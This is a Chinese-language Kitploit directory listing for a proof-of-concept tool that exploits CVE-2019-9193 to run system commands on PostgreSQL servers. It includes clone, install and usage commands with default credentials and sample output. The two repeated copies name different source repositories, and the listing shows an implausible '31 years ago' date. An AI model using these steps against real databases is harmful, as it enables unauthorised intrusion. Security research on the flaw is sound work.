Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/jhnhnck/cve-2019-9193
漏洞分析漏洞利用渗透测试学习与教育数据库安全
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

PoC工具,设计用于利用特定版本的PostgreSQL(9.3 - 11.7)中一个经认证的远程代码执行(RCE)漏洞。

查看仓库
31年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

EN

GenPostgresRCEExploit 是一个 PoC 工具,用于利用特定版本的 PostgreSQL(9.3 - 11.7)中存在的经过身份验证的远程代码执行(RCE)漏洞。它允许经过身份验证的用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 数据库服务器上执行系统命令。

功能特性

  • RCE 利用:通过经过身份验证的 PostgreSQL 会话执行系统命令。
  • 版本检查:检查目标 PostgreSQL 服务器的版本,以确认是否存在漏洞。
  • 命令执行:允许用户在存在漏洞的服务器上执行命令。
  • 自动表管理:自动创建和删除临时表以执行命令,无需手动干预。

依赖要求

  • Python 3.x
  • PostgreSQL Python 库(来自 pip 的 psycopg2)
  • PostgreSQL 库头文件(来自 apt 的 libpq-dev)

安装

  1. 克隆仓库:
    root@kitploit:~
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  2. 安装所需包:
    root@kitploit:~
    pip install -r requirements.txt
    

使用方法

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"

选项

  • -i, --ip:PostgreSQL 服务器的 IP 地址(默认:127.0.0.1)
  • -p, --port:PostgreSQL 服务器端口(默认:5432)
  • -d, --database:PostgreSQL 数据库名称(默认:template1)
  • -U, --user:连接 PostgreSQL 服务器的用户名(默认:postgres)
  • -P, --password:连接 PostgreSQL 服务器的密码(默认:postgres)
  • -c, ---command:要在服务器上执行的系统命令
  • -t, --timeout:连接超时时间,单位为秒(默认:10)

示例

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

此示例连接到 192.168.1.10 的 PostgreSQL 服务器,使用提供的凭据进行身份验证,并执行 whoami 命令。

示例输出

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

免责声明

此工具仅供教育目的和道德测试使用。未经授权使用此工具针对任何系统均属非法行为,并被严格禁止。作者对任何滥用行为不承担责任。

RU

GenPostgresRCEExploit 是一个 PoC 利用程序,旨在利用特定版本的 PostgreSQL(9.3 - 11.7)中的远程代码执行(RCE)漏洞。该程序允许经过身份验证的用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 服务器上执行系统命令。

功能特性

  • RCE 利用:通过经过身份验证的 PostgreSQL 连接执行系统命令。
  • 版本检查:检查目标 PostgreSQL 服务器的版本是否存在漏洞。
  • 命令执行:在存在漏洞的情况下,允许在服务器上执行任意命令。
  • 表管理:自动创建和删除用于命令执行的临时表。

依赖要求

  • Python 3.x
  • PostgreSQL 客户端库(psycopg2 包)

安装

  1. 克隆仓库:
    root@kitploit:~
    git clone https://github.com/geniuszly/CVE-2019-9193
    cd CVE-2019-9193
    
  2. 安装所需包:
    root@kitploit:~
    pip install -r requirements.txt
    

使用方法

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"

选项

  • -i, --ip:PostgreSQL 服务器的 IP 地址(默认:127.0.0.1)
  • -p, --port:PostgreSQL 服务器端口(默认:5432)
  • -d, --database:PostgreSQL 数据库名称(默认:template1)
  • -U, --user:连接 PostgreSQL 服务器的用户名(默认:postgres)
  • -P, --password:连接 PostgreSQL 服务器的密码(默认:postgres)
  • -c, --command:要在服务器上执行的系统命令
  • -t, --timeout:连接超时时间,单位为秒(默认:10)

示例

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

在此示例中,程序连接到 192.168.1.10 的 PostgreSQL 服务器,使用指定的凭据进行身份验证,并执行 whoami 命令。

示例输出

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

免责声明

此工具仅用于教育目的和合法测试。未经授权使用此工具针对任何系统均属非法行为,并被严格禁止。作者对任何滥用行为不承担责任。

下载工具